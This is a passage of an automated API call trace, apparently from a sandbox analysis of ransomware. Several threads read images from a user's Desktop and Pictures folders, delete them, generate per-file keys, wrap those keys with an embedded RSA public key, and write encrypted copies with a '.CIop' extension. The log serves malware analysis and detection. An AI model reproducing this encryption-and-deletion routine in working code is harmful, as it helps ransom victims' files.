hFile=0x530, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0098.138] SetFilePointer (in: hFile=0x530, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8b11 [0098.138] SetErrorMode (uMode=0x1) returned 0x1 [0098.138] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0098.138] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0098.138] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0098.138] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x655020) returned 1 [0098.139] CryptImportPublicKeyInfoEx (in: hCryptProv=0x655020, dwCertEncodingType=0x1, pInfo=0x5c2480, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x649278) returned 1 [0098.139] CryptEncrypt (in: hKey=0x649278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0098.139] CryptEncrypt (in: hKey=0x649278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x654e88*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x654e88*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0098.139] WriteFile (in: hFile=0x530, lpBuffer=0x654e88*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x654e88*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0098.139] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.139] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.139] VirtualFree (lpAddress=0x3160000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.140] CloseHandle (hObject=0x530) returned 1 [0098.141] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\wGSFbii.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\wgsfbii.jpg")) returned 0 Thread: id = 137 os_tid = 0xc90 [0098.034] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.034] lstrcpyW (in: lpString1=0x312f368, lpString2="-NlSo.bmp" | out: lpString1="-NlSo.bmp") returned="-NlSo.bmp" [0098.034] lstrcpyW (in: lpString1=0x312f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0098.034] SetErrorMode (uMode=0x1) returned 0x1 [0098.034] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\-NlSo.bmp") returned 39 [0098.034] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\-NlSo.bmp", dwFileAttributes=0x20) returned 1 [0098.034] StrStrW (lpFirst="-NlSo.bmp", lpSrch=".CIop") returned 0x0 [0098.034] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\-NlSo.bmp.CIop") returned 44 [0098.034] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\-NlSo.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\-nlso.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x52c [0098.035] ReadFile (in: hFile=0x52c, lpBuffer=0x65f180, nNumberOfBytesToRead=0x157dd, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x65f180*, lpNumberOfBytesRead=0x312e5e8*=0x157dd, lpOverlapped=0x0) returned 1 [0098.035] CloseHandle (hObject=0x52c) returned 1 [0098.035] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\-NlSo.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\-nlso.bmp")) returned 1 [0098.037] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3130000 [0098.038] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3140000 [0098.038] SetErrorMode (uMode=0x1) returned 0x1 [0098.038] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x6553d8) returned 1 [0098.040] CryptGenKey (in: hProv=0x6553d8, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x649338) returned 1 [0098.094] CryptExportKey (in: hKey=0x649338, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0098.094] CryptExportKey (in: hKey=0x649338, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3140000, pdwDataLen=0x312e5ec | out: pbData=0x3140000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0098.094] CryptDestroyKey (hKey=0x649338) returned 1 [0098.094] CryptReleaseContext (hProv=0x6553d8, dwFlags=0x0) returned 1 [0098.094] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\-NlSo.bmp.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\-nlso.bmp.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x550 [0098.095] WriteFile (in: hFile=0x550, lpBuffer=0x65f180*, nNumberOfBytesToWrite=0x157dd, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x65f180*, lpNumberOfBytesWritten=0x312e5d8*=0x157dd, lpOverlapped=0x0) returned 1 [0098.096] SetFilePointer (in: hFile=0x550, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x157dd [0098.096] WriteFile (in: hFile=0x550, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0098.096] SetFilePointer (in: hFile=0x550, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x157e4 [0098.097] SetErrorMode (uMode=0x1) returned 0x1 [0098.097] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0098.097] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0098.097] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0098.097] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x654f10) returned 1 [0098.097] CryptImportPublicKeyInfoEx (in: hCryptProv=0x654f10, dwCertEncodingType=0x1, pInfo=0x5c1370, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x649478) returned 1 [0098.097] CryptEncrypt (in: hKey=0x649478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0098.097] CryptEncrypt (in: hKey=0x649478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x654f98*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x654f98*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0098.097] WriteFile (in: hFile=0x550, lpBuffer=0x654f98*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x654f98*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0098.097] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.098] VirtualFree (lpAddress=0x3130000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.099] VirtualFree (lpAddress=0x3140000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.099] CloseHandle (hObject=0x550) returned 1 [0098.100] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\-NlSo.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\-nlso.bmp")) returned 0 Thread: id = 138 os_tid = 0xca8 [0098.142] lstrcpyA (in: lpString1=0x32ae5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.142] lstrcpyW (in: lpString1=0x32af368, lpString2="jA0o4Ao7ru.jpg" | out: lpString1="jA0o4Ao7ru.jpg") returned="jA0o4Ao7ru.jpg" [0098.142] lstrcpyW (in: lpString1=0x32af768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0098.142] SetErrorMode (uMode=0x1) returned 0x1 [0098.142] wsprintfW (in: param_1=0x32aeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\jA0o4Ao7ru.jpg") returned 73 [0098.142] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\jA0o4Ao7ru.jpg", dwFileAttributes=0x20) returned 1 [0098.142] StrStrW (lpFirst="jA0o4Ao7ru.jpg", lpSrch=".CIop") returned 0x0 [0098.142] wsprintfW (in: param_1=0x32ae758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\jA0o4Ao7ru.jpg.CIop") returned 78 [0098.142] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\jA0o4Ao7ru.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\ja0o4ao7ru.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x540 [0098.143] ReadFile (in: hFile=0x540, lpBuffer=0x656668, nNumberOfBytesToRead=0x160e2, lpNumberOfBytesRead=0x32ae5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x32ae5e8*=0x160e2, lpOverlapped=0x0) returned 1 [0098.143] CloseHandle (hObject=0x540) returned 1 [0098.143] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\jA0o4Ao7ru.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\ja0o4ao7ru.jpg")) returned 1 [0098.169] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ed0000 [0098.170] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0098.170] SetErrorMode (uMode=0x1) returned 0x1 [0098.170] CryptAcquireContextW (in: phProv=0x32ae5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x32ae5b8*=0x655f88) returned 1 [0098.172] CryptGenKey (in: hProv=0x655f88, Algid=0x1, dwFlags=0x4000, phKey=0x32ae5bc | out: phKey=0x32ae5bc*=0x6490b8) returned 1 [0098.277] CryptExportKey (in: hKey=0x6490b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x32ae5ec | out: pbData=0x0*, pdwDataLen=0x32ae5ec*=0x94) returned 1 [0098.277] CryptExportKey (in: hKey=0x6490b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ee0000, pdwDataLen=0x32ae5ec | out: pbData=0x2ee0000*, pdwDataLen=0x32ae5ec*=0x94) returned 1 [0098.277] CryptDestroyKey (hKey=0x6490b8) returned 1 [0098.277] CryptReleaseContext (hProv=0x655f88, dwFlags=0x0) returned 1 [0098.277] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\jA0o4Ao7ru.jpg.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\ja0o4ao7ru.jpg.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x530 [0098.277] WriteFile (in: hFile=0x530, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x160e2, lpNumberOfBytesWritten=0x32ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x32ae5d8*=0x160e2, lpOverlapped=0x0) returned 1 [0098.279] SetFilePointer (in: hFile=0x530, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x160e2 [0098.279] WriteFile (in: hFile=0x530, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x32ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x32ae5d8*=0x7, lpOverlapped=0x0) returned 1 [0098.279] SetFilePointer (in: hFile=0x530, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x160e9 [0098.279] SetErrorMode (uMode=0x1) returned 0x1 [0098.279] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0098.279] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x32ad5b8, pcbBinary=0x32ad5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x32ad5b8, pcbBinary=0x32ad5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0098.279] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x32ad5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x32ad5a0, pcbStructInfo=0x32ad598 | out: pvStructInfo=0x32ad5a0, pcbStructInfo=0x32ad598) returned 1 [0098.279] CryptAcquireContextW (in: phProv=0x32ad5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x32ad5a8*=0x6564d8) returned 1 [0098.280] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6564d8, dwCertEncodingType=0x1, pInfo=0x5c2960, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x32ad5b0 | out: phKey=0x32ad5b0*=0x649438) returned 1 [0098.280] CryptEncrypt (in: hKey=0x649438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x32ad5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x32ad5b4*=0x80) returned 1 [0098.280] CryptEncrypt (in: hKey=0x649438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x655928*, pdwDataLen=0x32ad5a4*=0x75, dwBufLen=0x80 | out: pbData=0x655928*, pdwDataLen=0x32ad5a4*=0x80) returned 1 [0098.280] WriteFile (in: hFile=0x530, lpBuffer=0x655928*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x32ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x655928*, lpNumberOfBytesWritten=0x32ae5d8*=0x80, lpOverlapped=0x0) returned 1 [0098.280] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.281] VirtualFree (lpAddress=0x2ed0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.281] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.281] CloseHandle (hObject=0x530) returned 1 [0098.283] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\jA0o4Ao7ru.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\ja0o4ao7ru.jpg")) returned 0 Thread: id = 139 os_tid = 0xd08 [0098.144] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.144] lstrcpyW (in: lpString1=0x347f368, lpString2="2SXCpVLNs73BQPAtgxC.png" | out: lpString1="2SXCpVLNs73BQPAtgxC.png") returned="2SXCpVLNs73BQPAtgxC.png" [0098.144] lstrcpyW (in: lpString1=0x347f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0098.144] SetErrorMode (uMode=0x1) returned 0x1 [0098.144] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\2SXCpVLNs73BQPAtgxC.png") returned 53 [0098.144] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\2SXCpVLNs73BQPAtgxC.png", dwFileAttributes=0x20) returned 1 [0098.145] StrStrW (lpFirst="2SXCpVLNs73BQPAtgxC.png", lpSrch=".CIop") returned 0x0 [0098.145] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\2SXCpVLNs73BQPAtgxC.png.CIop") returned 58 [0098.145] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\2SXCpVLNs73BQPAtgxC.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\2sxcpvlns73bqpatgxc.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x540 [0098.146] ReadFile (in: hFile=0x540, lpBuffer=0x685cd0, nNumberOfBytesToRead=0x13aa2, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesRead=0x347e5e8*=0x13aa2, lpOverlapped=0x0) returned 1 [0098.146] CloseHandle (hObject=0x540) returned 1 [0098.146] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\2SXCpVLNs73BQPAtgxC.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\2sxcpvlns73bqpatgxc.png")) returned 1 [0098.150] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0098.150] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0098.150] SetErrorMode (uMode=0x1) returned 0x1 [0098.150] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x6553d8) returned 1 [0098.153] CryptGenKey (in: hProv=0x6553d8, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x648fb8) returned 1 [0098.227] CryptExportKey (in: hKey=0x648fb8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, 